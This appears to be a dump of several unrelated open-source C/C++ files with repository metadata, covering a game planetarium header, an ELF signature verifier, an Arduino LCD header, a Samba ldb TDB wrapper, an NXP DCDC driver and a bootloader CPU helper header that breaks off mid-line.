The orbit are circular. In km. */ double OrbitDistance; /** Self rotation velocity */ double RotationVelocity; /** Sattelites list */ TArray<FFlareCelestialBody> Sattelites; /*---------------------------------------------------- Dynamic parameters ----------------------------------------------------*/ /** Current celestial body location relative to its parent celestial body*/ FPreciseVector RelativeLocation; /** Current celestial body location relative to its the root star*/ FPreciseVector AbsoluteLocation; /** Current celestial body self rotation angle*/ double RotationAngle; bool operator==(const FFlareCelestialBody& Other) const { return Identifier == Other.Identifier; } bool operator==(const FFlareCelestialBody* Other) const { return Identifier == Other->Identifier; } }; UCLASS() class HELIUMRAIN_API UFlareSimulatedPlanetarium : public UObject { GENERATED_UCLASS_BODY() public: /** Load the planetarium */ virtual void Load(); /** Load the planetarium */ virtual FFlareCelestialBody GetSnapShot(int64 Time, float SmoothTime); /** Get relative location of a body orbiting around its parent */ virtual FPreciseVector GetRelativeLocation(FFlareCelestialBody* ParentBody, int64 Time, float SmoothTime, double OrbitDistance, double Mass, double InitialPhase); /** Return the celestial body with the given identifier */ FFlareCelestialBody* FindCelestialBody(FName BodyIdentifier); /** Return the celestial body with the given identifier in the given body tree */ FFlareCelestialBody* FindCelestialBody(FFlareCelestialBody* Body, FName BodyIdentifier); /** Return the parent of the given celestial body */ FFlareCelestialBody* FindParent(FFlareCelestialBody* Body); /** Return the parent of the given celestial body in the given root tree*/ FFlareCelestialBody* FindParent(FFlareCelestialBody* Body, FFlareCelestialBody* Root); /** Return true if the target body is sattelite of the parent body */ bool IsSatellite(FFlareCelestialBody* Body, FFlareCelestialBody* Parent); float GetLightRatio(FFlareCelestialBody* Body, double OrbitDistance); protected: void ComputeCelestialBodyLocation(FFlareCelestialBody* ParentBody, FFlareCelestialBody* Body, int64 time, float SmoothTime); /*---------------------------------------------------- Protected data ----------------------------------------------------*/ AFlareGame* Game; FFlareCelestialBody Sun; public: /*---------------------------------------------------- Getters ----------------------------------------------------*/ AFlareGame* GetGame() const; };
24.25
163
0.643386
2ff9838c3bd9fe8aa11aafdc8bbb205e2af98ba5
3,179
c
C
signing/elfsign-0.2.2/tools/elfverify.c
netpipe/ELFTools
6ed3c952bea8239357a94844fab5fbff9892d666
[ "MIT" ]
1
2021-07-09T01:31:42.000Z
2021-07-09T01:31:42.000Z
signing/elfsign-0.2.2/tools/elfverify.c
netpipe/ELFTools
6ed3c952bea8239357a94844fab5fbff9892d666
[ "MIT" ]
1
2021-07-01T23:42:53.000Z
2021-07-01T23:42:53.000Z
signing/elfsign-0.2.2/tools/elfverify.c
netpipe/ELFTools
6ed3c952bea8239357a94844fab5fbff9892d666
[ "MIT" ]
4
2021-06-30T14:47:25.000Z
2021-07-09T01:17:25.000Z
/* * elfverify: Validates ELF binary signatures that were generated with elfsign. * * skape * mmiller@hick.org */ #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include "openssl/err.h" #include "openssl/x509.h" #include "openssl/pkcs7.h" #include "verify.h" #include "../elfsign.h" unsigned long callback(void *userParam, X509 *cert, unsigned long trustedSigner); const char *getTrustString(unsigned long ret); int main(int argc, char **argv) { char *elfFile = NULL, *caFile = "none", *caPath = "none"; extern char *optarg; int c, ret = 0; CRYPTO_malloc_init(); ERR_load_crypto_strings(); OpenSSL_add_all_algorithms(); while ((c = getopt(argc, argv, "f:c:p:h")) != EOF) { switch (c) { case 'f': elfFile = optarg; break; case 'c': caFile = optarg; break; case 'p': caPath = optarg; break; case 'h': fprintf(stdout, "\n" "elfverify -- verify the signing of an elf image\n" "\n" "Usage: ./elfverify [-f elf image] [-c ca cert file] [-p ca cert path] [-h]\n" "\n"); return 0; case 'v': fprintf(stdout, "elfverify %s %s\n" " skape - mmiller@hick.org\n" " nologin (http://www.nologin.org)\n", ELFSIGN_VERSION, ELFSIGN_RELDATE); return 0; default: break; } } // If the ELF image is invalid, no sense in validating it. if (!elfFile) { fprintf(stdout, "error: no elf image specified.\n"); return 0; } // Call the ELF verify subsystem with a custom callback if ((ret = elfverifyTrustCallback(elfFile, caFile, caPath, callback, NULL)) == ELFVERIFY_SUCCESS) fprintf(stdout, "OK\n"), ret = 1; else { fprintf(stdout, "FAIL (%s)\n", getTrustString(ret)), ret = 0; } return ret; } /* * Convert an error code to an error string as returned from the * ELF verification subsystem */ const char *getTrustString(unsigned long ret) { switch (ret) { case ELFVERIFY_NOT_SIGNED: return "The binary is not signed."; break; case ELFVERIFY_CERT_UNTRUSTED: return "The signer certificate is not trusted."; break; case ELFVERIFY_INVALID_DIGEST: return "The binary digest did not match the signed digest."; break; default: return "Unknown error."; break; } } /* * Callback for un-trusted issuers that allows the user to specify whether * or not the image should be trusted. */ unsigned long callback(void *userParam, X509 *cert, unsigned long trustedIssuer) { unsigned long ret = 0; if (!trustedIssuer) { X509_NAME *issuer = X509_get_issuer_name(cert); X509_NAME *subject = X509_get_subject_name(cert); BIO *bio_stdout = BIO_new(BIO_s_file()); char resp[32]; BIO_set_fp(bio_stdout, stdout, BIO_NOCLOSE); fprintf(stdout, "Issuer: "); X509_NAME_print(bio_stdout, issuer, 0); fprintf(stdout, "\n"); fprintf(stdout, "Signer: "); X509_NAME_print(bio_stdout, subject, 0); fprintf(stdout, "\n"); fprintf(stdout, "Issuer is not trusted, would you like to trust them? [y/N] "); fflush(stdout); fgets(resp, sizeof(resp) - 1, stdin); if (resp[0] == 'Y' || resp[0] == 'y') ret = 1; BIO_free(bio_stdout); } else ret = 1; return ret; }
21.33557
98
0.64989
2fff5175752b90a919398215e6d7c336e6311733
210
h
C
arduino/arduino-nano-v3/rotary-encoder/LCD.h
devel0/iot-examples
5c7d04886f261ee2749c455012a721e4fa6e0fee
[ "MIT" ]
null
null
null
arduino/arduino-nano-v3/rotary-encoder/LCD.h
devel0/iot-examples
5c7d04886f261ee2749c455012a721e4fa6e0fee
[ "MIT" ]
null
null
null
arduino/arduino-nano-v3/rotary-encoder/LCD.h
devel0/iot-examples
5c7d04886f261ee2749c455012a721e4fa6e0fee
[ "MIT" ]
1
2021-03-19T14:06:01.000Z
2021-03-19T14:06:01.000Z
#ifndef _LCD_H #define _LCD_H #include "config.h" #include <Wire.h> #include <LiquidCrystal_I2C.h> extern LiquidCrystal_I2C lcd; #ifdef I2C_DEVICE_SCAN void scan_twi_loop(); #endif void init_lcd(); #endif
12.352941
30
0.761905
2fff74d59a91beb1161418f5d10b998a4eb9ca0e
3,786
c
C
release/src-rt-6.x.4708/router/samba-3.5.8/source3/lib/ldb/ldb_tdb/ldb_tdb_wrap.c
afeng11/tomato-arm
1ca18a88480b34fd495e683d849f46c2d47bb572
[ "FSFAP" ]
4
2017-05-17T11:27:04.000Z
2020-05-24T07:23:26.000Z
release/src-rt-6.x.4708/router/samba-3.5.8/source3/lib/ldb/ldb_tdb/ldb_tdb_wrap.c
afeng11/tomato-arm
1ca18a88480b34fd495e683d849f46c2d47bb572
[ "FSFAP" ]
1
2018-08-21T03:43:09.000Z
2018-08-21T03:43:09.000Z
release/src-rt-6.x.4708/router/samba-3.5.8/source3/lib/ldb/ldb_tdb/ldb_tdb_wrap.c
afeng11/tomato-arm
1ca18a88480b34fd495e683d849f46c2d47bb572
[ "FSFAP" ]
5
2017-10-11T08:09:11.000Z
2020-10-14T04:10:13.000Z
/* ldb database library Copyright (C) Andrew Tridgell 2005 ** NOTE! The following LGPL license applies to the ldb ** library. This does NOT imply that all of Samba is released ** under the LGPL This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, see <http://www.gnu.org/licenses/>. */ #include "includes.h" #include "ldb/include/includes.h" #include "ldb/ldb_tdb/ldb_tdb.h" /* the purpose of this code is to work around the braindead posix locking rules, to allow us to have a ldb open more than once while allowing locking to work */ struct ltdb_wrap { struct ltdb_wrap *next, *prev; struct tdb_context *tdb; dev_t device; ino_t inode; }; static struct ltdb_wrap *tdb_list; /* destroy the last connection to a tdb */ static int ltdb_wrap_destructor(struct ltdb_wrap *w) { tdb_close(w->tdb); if (w->next) { w->next->prev = w->prev; } if (w->prev) { w->prev->next = w->next; } if (w == tdb_list) { tdb_list = w->next; } return 0; } static void ltdb_log_fn(struct tdb_context *tdb, enum tdb_debug_level level, const char *fmt, ...) PRINTF_ATTRIBUTE(3, 4); static void ltdb_log_fn(struct tdb_context *tdb, enum tdb_debug_level level, const char *fmt, ...) { va_list ap; const char *name = tdb_name(tdb); struct ldb_context *ldb = talloc_get_type(tdb_get_logging_private(tdb), struct ldb_context); enum ldb_debug_level ldb_level; char *message; va_start(ap, fmt); message = talloc_vasprintf(ldb, fmt, ap); va_end(ap); switch (level) { case TDB_DEBUG_FATAL: ldb_level = LDB_DEBUG_FATAL; break; case TDB_DEBUG_ERROR: ldb_level = LDB_DEBUG_ERROR; break; case TDB_DEBUG_WARNING: ldb_level = LDB_DEBUG_WARNING; break; case TDB_DEBUG_TRACE: ldb_level = LDB_DEBUG_TRACE; break; default: ldb_level = LDB_DEBUG_FATAL; } ldb_debug(ldb, ldb_level, "ltdb: tdb(%s): %s", name, message); talloc_free(message); } /* wrapped connection to a tdb database. The caller should _not_ free this as it is not a talloc structure (as tdb does not use talloc yet). It will auto-close when the caller frees the mem_ctx that is passed to this call */ struct tdb_context *ltdb_wrap_open(TALLOC_CTX *mem_ctx, const char *path, int hash_size, int tdb_flags, int open_flags, mode_t mode, struct ldb_context *ldb) { struct ltdb_wrap *w; struct stat st; struct tdb_logging_context log_ctx; log_ctx.log_fn = ltdb_log_fn; log_ctx.log_private = ldb; if (stat(path, &st) == 0) { for (w=tdb_list;w;w=w->next) { if (st.st_dev == w->device && st.st_ino == w->inode) { if (!talloc_reference(mem_ctx, w)) { return NULL; } return w->tdb; } } } w = talloc(mem_ctx, struct ltdb_wrap); if (w == NULL) { return NULL; } w->tdb = tdb_open_ex(path, hash_size, tdb_flags, open_flags, mode, &log_ctx, NULL); if (w->tdb == NULL) { talloc_free(w); return NULL; } if (fstat(tdb_fd(w->tdb), &st) != 0) { tdb_close(w->tdb); talloc_free(w); return NULL; } w->device = st.st_dev; w->inode = st.st_ino; talloc_set_destructor(w, ltdb_wrap_destructor); w->next = tdb_list; w->prev = NULL; if (tdb_list) { tdb_list->prev = w; } tdb_list = w; return w->tdb; }
24.425806
122
0.693872
6401190a397d6d30cc2943c63ece3f8a219d1940
13,430
c
C
firmware/uvc_controller/mbed-os/targets/TARGET_Freescale/TARGET_MCUXpresso_MCUS/TARGET_KW41Z/drivers/fsl_dcdc.c
davewhiiite/uvc
fd45223097eed5a824294db975b3c74aa5f5cc8f
[ "MIT" ]
1
2021-06-12T14:54:07.000Z
2021-06-12T14:54:07.000Z
firmware/uvc_controller/mbed-os/targets/TARGET_Freescale/TARGET_MCUXpresso_MCUS/TARGET_KW41Z/drivers/fsl_dcdc.c
davewhiiite/uvc
fd45223097eed5a824294db975b3c74aa5f5cc8f
[ "MIT" ]
null
null
null
firmware/uvc_controller/mbed-os/targets/TARGET_Freescale/TARGET_MCUXpresso_MCUS/TARGET_KW41Z/drivers/fsl_dcdc.c
davewhiiite/uvc
fd45223097eed5a824294db975b3c74aa5f5cc8f
[ "MIT" ]
null
null
null
/* * Copyright (c) 2015, Freescale Semiconductor, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * o Redistributions of source code must retain the above copyright notice, this list * of conditions and the following disclaimer. * * o Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * * o Neither the name of Freescale Semiconductor, Inc. nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "fsl_dcdc.h" /******************************************************************************* * Prototypes ******************************************************************************/ /*! * @brief Get instance number for DCDC module. * * @param base DCDC peripheral base address */ static uint32_t DCDC_GetInstance(DCDC_Type *base); /******************************************************************************* * Variables ******************************************************************************/ /*! @brief Pointers to DCDC bases for each instance. */ const DCDC_Type *s_dcdcBases[] = DCDC_BASE_PTRS; /*! @brief Pointers to DCDC clocks for each instance. */ static const clock_ip_name_t s_dcdcClocks[] = DCDC_CLOCKS; /******************************************************************************* * Code ******************************************************************************/ static uint32_t DCDC_GetInstance(DCDC_Type *base) { uint32_t instance; /* Find the instance index from base address mappings. */ for (instance = 0; instance < FSL_FEATURE_SOC_DCDC_COUNT; instance++) { if (s_dcdcBases[instance] == base) { break; } } assert(instance < FSL_FEATURE_SOC_DCDC_COUNT); return instance; } void DCDC_Init(DCDC_Type *base) { /* Enable the clock. */ CLOCK_EnableClock(s_dcdcClocks[DCDC_GetInstance(base)]); } void DCDC_Deinit(DCDC_Type *base) { /* Disable the clock. */ CLOCK_DisableClock(s_dcdcClocks[DCDC_GetInstance(base)]); } uint32_t DCDC_GetStatusFlags(DCDC_Type *base) { uint32_t tmp32 = 0U; /* kDCDC_LockedOKStatus. */ if (0U != (DCDC_REG0_DCDC_STS_DC_OK_MASK & base->REG0)) { tmp32 |= kDCDC_LockedOKStatus; } /* kDCDC_PSwitchStatus. */ if (0U != (DCDC_REG0_PSWITCH_STATUS_MASK & base->REG0)) { tmp32 |= kDCDC_PSwitchStatus; } /* kDCDC_PSwitchInterruptStatus. */ if (0U != (DCDC_REG6_PSWITCH_INT_STS_MASK & base->REG6)) { tmp32 |= kDCDC_PSwitchInterruptStatus; } return tmp32; } void DCDC_ClearStatusFlags(DCDC_Type *base, uint32_t mask) /* Clear flags indicated by mask. */ { if (0U != (kDCDC_PSwitchInterruptStatus & mask)) { /* Write 1 to clear interrupt. Set to 0 after clear. */ base->REG6 |= DCDC_REG6_PSWITCH_INT_CLEAR_MASK; base->REG6 &= ~DCDC_REG6_PSWITCH_INT_CLEAR_MASK; } } void DCDC_SetPSwitchInterruptConfig(DCDC_Type *base, uint32_t mask) { assert(0U == (mask & ~(DCDC_REG6_PSWITCH_INT_RISE_EN_MASK | DCDC_REG6_PSWITCH_INT_FALL_EN_MASK))); uint32_t tmp32 = base->REG6 & ~(DCDC_REG6_PSWITCH_INT_RISE_EN_MASK | DCDC_REG6_PSWITCH_INT_FALL_EN_MASK); tmp32 |= mask; base->REG6 = tmp32; } void DCDC_GetDefaultLowPowerConfig(dcdc_low_power_config_t *config) { assert(NULL != config); config->workModeInVLPRW = kDCDC_WorkInPulsedMode; config->workModeInVLPS = kDCDC_WorkInPulsedMode; config->enableHysteresisVoltageSense = true; config->enableAdjustHystereticValueSense = false; config->enableHystersisComparator = true; config->enableAdjustHystereticValueComparator = false; config->hystereticUpperThresholdValue = kDCDC_HystereticThresholdOffset75mV; config->hystereticLowerThresholdValue = kDCDC_HystereticThresholdOffset0mV; config->enableDiffComparators = false; } void DCDC_SetLowPowerConfig(DCDC_Type *base, const dcdc_low_power_config_t *config) { uint32_t tmp32; tmp32 = base->REG0 & ~(DCDC_REG0_VLPR_VLPW_CONFIG_DCDC_HP_MASK | DCDC_REG0_VLPS_CONFIG_DCDC_HP_MASK | DCDC_REG0_OFFSET_RSNS_LP_DISABLE_MASK | DCDC_REG0_OFFSET_RSNS_LP_ADJ_MASK | DCDC_REG0_HYST_LP_CMP_DISABLE_MASK | DCDC_REG0_HYST_LP_COMP_ADJ_MASK | DCDC_REG0_DCDC_LP_STATE_HYS_H_MASK | DCDC_REG0_DCDC_LP_STATE_HYS_L_MASK | DCDC_REG0_DCDC_LP_DF_CMP_ENABLE_MASK); if (kDCDC_WorkInContinuousMode == config->workModeInVLPRW) { tmp32 |= DCDC_REG0_VLPR_VLPW_CONFIG_DCDC_HP_MASK; } if (kDCDC_WorkInContinuousMode == config->workModeInVLPS) { tmp32 |= DCDC_REG0_VLPS_CONFIG_DCDC_HP_MASK; } if (!config->enableHysteresisVoltageSense) { tmp32 |= DCDC_REG0_OFFSET_RSNS_LP_DISABLE_MASK; } if (config->enableAdjustHystereticValueSense) { tmp32 |= DCDC_REG0_OFFSET_RSNS_LP_ADJ_MASK; } if (!config->enableHystersisComparator) { tmp32 |= DCDC_REG0_HYST_LP_CMP_DISABLE_MASK; } if (config->enableAdjustHystereticValueComparator) { tmp32 |= DCDC_REG0_HYST_LP_COMP_ADJ_MASK; } tmp32 |= DCDC_REG0_DCDC_LP_STATE_HYS_H(config->hystereticUpperThresholdValue) | DCDC_REG0_DCDC_LP_STATE_HYS_L(config->hystereticLowerThresholdValue); /* true - DCDC compare the lower supply(relative to target value) with DCDC_LP_STATE_HYS_L. When it is lower than * DCDC_LP_STATE_HYS_L, re-charge output. * false - DCDC compare the common mode sense of supply(relative to target value) with DCDC_LP_STATE_HYS_L. When it * is lower than DCDC_LP_STATE_HYS_L, re-charge output. */ if (config->enableDiffComparators) { tmp32 |= DCDC_REG0_DCDC_LP_DF_CMP_ENABLE_MASK; } base->REG0 = tmp32; } void DCDC_GetDefaultLoopControlConfig(dcdc_loop_control_config_t *config) { assert(NULL != config); config->enableDiffHysteresis = false; config->enableCommonHysteresis = false; config->enableDiffHysteresisThresh = false; config->enableCommonHysteresisThresh = false; config->enableInvertHysteresisSign = false; } void DCDC_SetLoopControlConfig(DCDC_Type *base, const dcdc_loop_control_config_t *config) { uint32_t tmp32; /* DCDC_REG1. */ tmp32 = base->REG1 & ~(DCDC_REG1_DCDC_LOOPCTRL_EN_DF_HYST_MASK | DCDC_REG1_DCDC_LOOPCTRL_EN_CM_HYST_MASK | DCDC_REG1_DCDC_LOOPCTRL_DF_HST_THRESH_MASK | DCDC_REG1_DCDC_LOOPCTRL_CM_HST_THRESH_MASK); if (config->enableDiffHysteresis) { tmp32 |= DCDC_REG1_DCDC_LOOPCTRL_EN_DF_HYST_MASK; } if (config->enableCommonHysteresis) { tmp32 |= DCDC_REG1_DCDC_LOOPCTRL_EN_CM_HYST_MASK; } if (config->enableDiffHysteresisThresh) { tmp32 |= DCDC_REG1_DCDC_LOOPCTRL_DF_HST_THRESH_MASK; } if (config->enableCommonHysteresisThresh) { tmp32 |= DCDC_REG1_DCDC_LOOPCTRL_CM_HST_THRESH_MASK; } base->REG1 = tmp32; /* DCDC_REG2. */ if (config->enableInvertHysteresisSign) { base->REG2 |= DCDC_REG2_DCDC_LOOPCTRL_HYST_SIGN_MASK; } else { base->REG2 &= ~DCDC_REG2_DCDC_LOOPCTRL_HYST_SIGN_MASK; } } void DCDC_SetClockSource(DCDC_Type *base, dcdc_clock_source_t clockSource) { uint32_t tmp32; tmp32 = base->REG0 & ~(DCDC_REG0_DCDC_PWD_OSC_INT_MASK | DCDC_REG0_DCDC_SEL_CLK_MASK | DCDC_REG0_DCDC_DISABLE_AUTO_CLK_SWITCH_MASK); switch (clockSource) { case kDCDC_ClockInternalOsc: tmp32 |= DCDC_REG0_DCDC_DISABLE_AUTO_CLK_SWITCH_MASK; break; case kDCDC_ClockExternalOsc: /* Choose the external clock and disable the internal clock. */ tmp32 |= DCDC_REG0_DCDC_DISABLE_AUTO_CLK_SWITCH_MASK | DCDC_REG0_DCDC_SEL_CLK_MASK | DCDC_REG0_DCDC_PWD_OSC_INT_MASK; break; default: break; } base->REG0 = tmp32; } void DCDC_AdjustTargetVoltage(DCDC_Type *base, uint32_t vdd1p45Boost, uint32_t vdd1p45Buck, uint32_t vdd1p8) { uint32_t tmp32; /* Unlock the limitation of setting target voltage. */ base->REG3 &= ~(DCDC_REG3_DCDC_VDD1P8CTRL_DISABLE_STEP_MASK | DCDC_REG3_DCDC_VDD1P5CTRL_DISABLE_STEP_MASK); /* Change the target voltage value. */ tmp32 = base->REG3 & ~(DCDC_REG3_DCDC_VDD1P5CTRL_TRG_BOOST_MASK | DCDC_REG3_DCDC_VDD1P5CTRL_TRG_BUCK_MASK | DCDC_REG3_DCDC_VDD1P8CTRL_TRG_MASK); tmp32 |= DCDC_REG3_DCDC_VDD1P5CTRL_TRG_BOOST(vdd1p45Boost) | DCDC_REG3_DCDC_VDD1P5CTRL_TRG_BUCK(vdd1p45Buck) | DCDC_REG3_DCDC_VDD1P8CTRL_TRG(vdd1p8); base->REG3 = tmp32; /* DCDC_STS_DC_OK bit will be de-asserted after target register changes. After output voltage settling to new * target value, DCDC_STS_DC_OK will be asserted. */ while (0U != (DCDC_REG0_DCDC_STS_DC_OK_MASK & base->REG0)) { } } void DCDC_SetBatteryMonitorValue(DCDC_Type *base, uint32_t battValue) { uint32_t tmp32; /* Disable the monitor before setting the new value */ base->REG2 &= ~DCDC_REG2_DCDC_BATTMONITOR_EN_BATADJ_MASK; if (0U != battValue) { tmp32 = base->REG2 & ~DCDC_REG2_DCDC_BATTMONITOR_BATT_VAL_MASK; /* Enable the monitor with setting value. */ tmp32 |= (DCDC_REG2_DCDC_BATTMONITOR_EN_BATADJ_MASK | DCDC_REG2_DCDC_BATTMONITOR_BATT_VAL(battValue)); base->REG2 = tmp32; } } void DCDC_SetMinPowerConfig(DCDC_Type *base, const dcdc_min_power_config_t *config) { uint32_t tmp32 = base->REG3 & ~(DCDC_REG3_DCDC_MINPWR_HALF_FETS_MASK | DCDC_REG3_DCDC_MINPWR_DOUBLE_FETS_MASK | DCDC_REG3_DCDC_MINPWR_DC_HALFCLK_MASK | DCDC_REG3_DCDC_MINPWR_HALF_FETS_PULSED_MASK | DCDC_REG3_DCDC_MINPWR_DOUBLE_FETS_PULSED_MASK | DCDC_REG3_DCDC_MINPWR_DC_HALFCLK_PULSED_MASK); /* For Continuous mode. */ if (config->enableUseHalfFetForContinuous) { tmp32 |= DCDC_REG3_DCDC_MINPWR_HALF_FETS_MASK; } if (config->enableUseDoubleFetForContinuous) { tmp32 |= DCDC_REG3_DCDC_MINPWR_DOUBLE_FETS_MASK; } if (config->enableUseHalfFreqForContinuous) { tmp32 |= DCDC_REG3_DCDC_MINPWR_DC_HALFCLK_MASK; } /* For Pulsed mode. */ if (config->enableUseHalfFetForPulsed) { tmp32 |= DCDC_REG3_DCDC_MINPWR_HALF_FETS_PULSED_MASK; } if (config->enableUseDoubleFetForPulsed) { tmp32 |= DCDC_REG3_DCDC_MINPWR_DOUBLE_FETS_PULSED_MASK; } if (config->enableUseHalfFreqForPulsed) { tmp32 |= DCDC_REG3_DCDC_MINPWR_DC_HALFCLK_PULSED_MASK; } base->REG3 = tmp32; } void DCDC_GetDefaultMinPowerDefault(dcdc_min_power_config_t *config) { assert(NULL != config); /* For Continuous mode. */ config->enableUseHalfFetForContinuous = false; config->enableUseDoubleFetForContinuous = false; config->enableUseHalfFreqForContinuous = false; /* For Pulsed mode. */ config->enableUseHalfFetForPulsed = false; config->enableUseDoubleFetForPulsed = false; config->enableUseHalfFreqForPulsed = false; } void DCDC_SetPulsedIntegratorConfig(DCDC_Type *base, const dcdc_pulsed_integrator_config_t *config) { if (config->enableUseUserIntegratorValue) /* Enable to use the user integrator value. */ { base->REG7 = (base->REG7 & ~DCDC_REG7_INTEGRATOR_VALUE_MASK) | DCDC_REG7_INTEGRATOR_VALUE_SEL_MASK | DCDC_REG7_INTEGRATOR_VALUE(config->userIntegratorValue); if (config->enablePulseRunSpeedup) { base->REG7 |= DCDC_REG7_PULSE_RUN_SPEEDUP_MASK; } } else { base->REG7 = 0U; } } void DCDC_GetDefaultPulsedIntegratorConfig(dcdc_pulsed_integrator_config_t *config) { assert(NULL != config); config->enableUseUserIntegratorValue = false; config->userIntegratorValue = 0U; config->enablePulseRunSpeedup = false; }
35.909091
120
0.671482
64013ab32be647754f90547a385f6bc38022901c
486
h
C
visualization/code/cgassn1/player.h
spacejake/cg-project
a69ead800b6b1b65249a1e7974e1130fbc939cf6
[ "MIT" ]
null
null
null
visualization/code/cgassn1/player.h
spacejake/cg-project
a69ead800b6b1b65249a1e7974e1130fbc939cf6
[ "MIT" ]
null
null
null
visualization/code/cgassn1/player.h
spacejake/cg-project
a69ead800b6b1b65249a1e7974e1130fbc939cf6
[ "MIT" ]
null
null
null
#pragma once #include "sys.h" class Player { private: glm::vec3 pos; glm::vec2 dir; float walkSpeed = 5.0f; clock_t rotDelay; clock_t lastRot; public: std::string name; enum Status status; enum Direction viewDir; bool canGo; void init(const glm::vec3& pos, const glm::vec2& rot); void update(); void goBack(); void display(Mesh*, Camera&, int); glm::vec3 getPos(); void setPos(const glm::vec3& pos); glm::vec2 getDir(); void setDir(const glm::vec2& dir); };
13.885714
55
0.67284
64023d124009b557f023504d18df66b4f14a05a0
209
h
C
Amigo/src/Amigo.h
sourabhindian1/Amigo
21e29f095d9704f95749701ef9a3b0708a1da69a
[ "Apache-2.0" ]
null
null
null
Amigo/src/Amigo.h
sourabhindian1/Amigo
21e29f095d9704f95749701ef9a3b0708a1da69a
[ "Apache-2.0" ]
null
null
null
Amigo/src/Amigo.h
sourabhindian1/Amigo
21e29f095d9704f95749701ef9a3b0708a1da69a
[ "Apache-2.0" ]
null
null
null
#pragma once // For use by Amiigo Application #include "Amigo/Application.h" #include "Amigo/Log.h" // ----- Entry Point---------- #include "Amigo/EntryPoint.h" // ---------------------------
16.076923
33
0.516746
6402f2824c280bf5343317f39a6e62680dd15248
3,781
h
C
bootloader/delice_pxe/includes/misc/cpu.h
goupaz/delice-os
2163a1cdbda0cb4c01f4e5b7df1aa7c570c96c74
[ "MIT" ]
4
2020-04-24T19:30:17.000Z
2020-05-01T19:29:57.000Z
bootloader/delice_pxe/includes/misc/cpu.h
goupaz/deliceos
2163a1cdbda0cb4c01f4e5b7df1aa7c570c96c74
[ "MIT" ]
null
null
null
bootloader/delice_pxe/includes/misc/cpu.h
goupaz/deliceos
2163a1cdbda0cb4c01f4e5b7df1aa7c570c96c74
[ "MIT" ]
2
2020-04-24T18:39:41.000Z
2020-04-24T18:54:16.000Z
#ifndef _CPU_H #define _CPU_H #include <cstddef> #include <cstdint> #include <tuple> #define e20_addr 0x14000 #define intel() __asm__(".intel_syntax noprefix"); #define att() __asm__(".att_syntax"); namespace cpu { struct registers { uint64_t r8; uint64_t r9; uint64_t r10; uint64_t r11; uint64_t r12; uint64_t r13; uint64_t r14; uint64_t r15; uint64_t rbp; uint64_t rsi; uint64_t rdi; uint64_t rdx; uint64_t rcx; uint64_t rbx; uint64_t rax; }; struct interrupt_frame { uint64_t rip; uint64_t cs; uint64_t rflags; uint64_t rsp; uint64_t ss; }; struct e20_entry { uint64_t addr; uint64_t len; uint32_t type; uint32_t res0; }__attribute__((packed)); [[gnu::always_inline]] static inline uint32_t apic_read(uint32_t reg) { uint32_t *apic_base = (uint32_t*) 0x13370000000; // APIC base address return *((volatile uint32_t *)(apic_base + (reg / 4))); } [[gnu::always_inline]] static inline int apic_write(uint32_t reg, uint32_t v) { volatile uint32_t *addr; uint32_t *apic_base = (uint32_t*) 0x13370000000; // APIC base address addr = (volatile uint32_t *)(apic_base + (reg / 4)); asm volatile ("movl %1, %0" :"=m"(*addr):"r"(v):); return 0; } [[gnu::always_inline]] static inline size_t get_apic_id(){ return (size_t)((apic_read(0x20) >> 24) & 0xff); } [[gnu::always_inline]] static inline void eoi(){ cpu::apic_write(0xb0, 0x0); } [[gnu::always_inline]] static inline void invlpg(void* m) { asm volatile ( "invlpg (%0)" : : "b"(m) : "memory" ); } [[gnu::always_inline]] static inline std::tuple<uint32_t, uint32_t, uint32_t, uint32_t> cpuid(uint32_t eax_ , uint32_t ecx_){ uint32_t eax, ebx, ecx, edx; __asm__ volatile("cpuid" : "=a" (eax), "=b" (ebx), "=c" (ecx), "=d" (edx) : "a" (eax_), "c" (ecx_)); return {eax, ebx, edx, ecx}; } [[gnu::always_inline]] static inline uint64_t rdmsr(uint32_t msr){ uint32_t high, low; __asm__ ("rdmsr" : "=d"(high), "=a"(low) : "c"(msr) ); return ((uint64_t)high << 32) | low; } [[gnu::always_inline]] static inline void wrmsr(uint32_t msr, uint64_t value) { uint32_t low = value & 0xFFFFFFFF; uint32_t high = value >> 32; asm volatile ( "wrmsr" : : "c"(msr), "a"(low), "d"(high) ); } static __inline__ int64_t rdtsc_s(void) { unsigned a, d; asm volatile("cpuid" ::: "%rax", "%rbx", "%rcx", "%rdx"); asm volatile("rdtsc" : "=a" (a), "=d" (d)); return ((unsigned long)a) | (((unsigned long)d) << 32); } static __inline__ int64_t rdtsc_e(void) { unsigned a, d; asm volatile("rdtscp" : "=a" (a), "=d" (d)); asm volatile("cpuid" ::: "%rax", "%rbx", "%rcx", "%rdx"); return ((unsigned long)a) | (((unsigned long)d) << 32); } [[gnu::always_inline]] static inline void halt(){ __asm__ ("hlt"); } [[gnu::always_inline]] static inline bool is_bsp(){ return (rdmsr(0x1b) & (1 << 8)) != 0; } [[gnu::always_inline]] static inline void 